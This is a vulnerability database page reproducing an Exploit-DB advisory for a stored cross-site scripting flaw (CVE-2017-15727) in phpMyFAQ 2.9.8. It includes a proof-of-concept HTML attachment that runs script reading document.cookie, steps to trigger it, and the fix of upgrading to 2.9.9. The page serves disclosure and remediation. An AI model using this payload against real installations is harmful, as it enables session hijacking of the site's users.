Lucene search
+L

PHPMyFAQ 2.9.8 - Cross-Site Scripting (3)

🗓️ 28 Oct 2017 00:00:00Reported by Nikhil MittalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

phpMyFAQ 2.9.8 Stored XSS Vulnerability, HTML attachment, MAC OS, CVE 2017-1572

Related
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
phpMyFAQ cross-site scripting vulnerability (CNVD-2017-33504)
23 Oct 201700:00
–cnvd
cve
CVE
CVE-2017-15727
21 Oct 201722:00
–cve
cvelist
Cvelist
CVE-2017-15727
21 Oct 201722:00
–cvelist
euvd
EUVD
EUVD-2017-7150
7 Oct 202500:30
–euvd
mend
Mend
CVE-2017-15727
21 Oct 201722:00
–mend
nvd
NVD
CVE-2017-15727
22 Oct 201718:29
–nvd
openvas
OpenVAS
phpMyFAQ < 2.9.9 Multiple XSS And CSRF Vulnerabilities
21 Sep 201700:00
–openvas
prion
Prion
Cross site scripting
22 Oct 201718:29
–prion
ptsecurity
Positive Technologies
PT-2017-14158
21 Oct 201700:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2017-15727: Improper Neutralization of Input During Web Page Generation
22 Oct 201700:00
–rapid7
Rows per page
# Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability
# Date: 28-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727

1. Description

In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.

2. Proof of concept

Exploit code

    <!DOCTYPE html>
    <html>
    <head>
    <title>XSS EXPLOIT</title>
    </head>
    <body>
    <script>confirm(document.cookie)</script>
    </body>
    </html>



Steps to reproduce:

1. Create a user having limited access rights to attachment section
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage

3. Solution

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation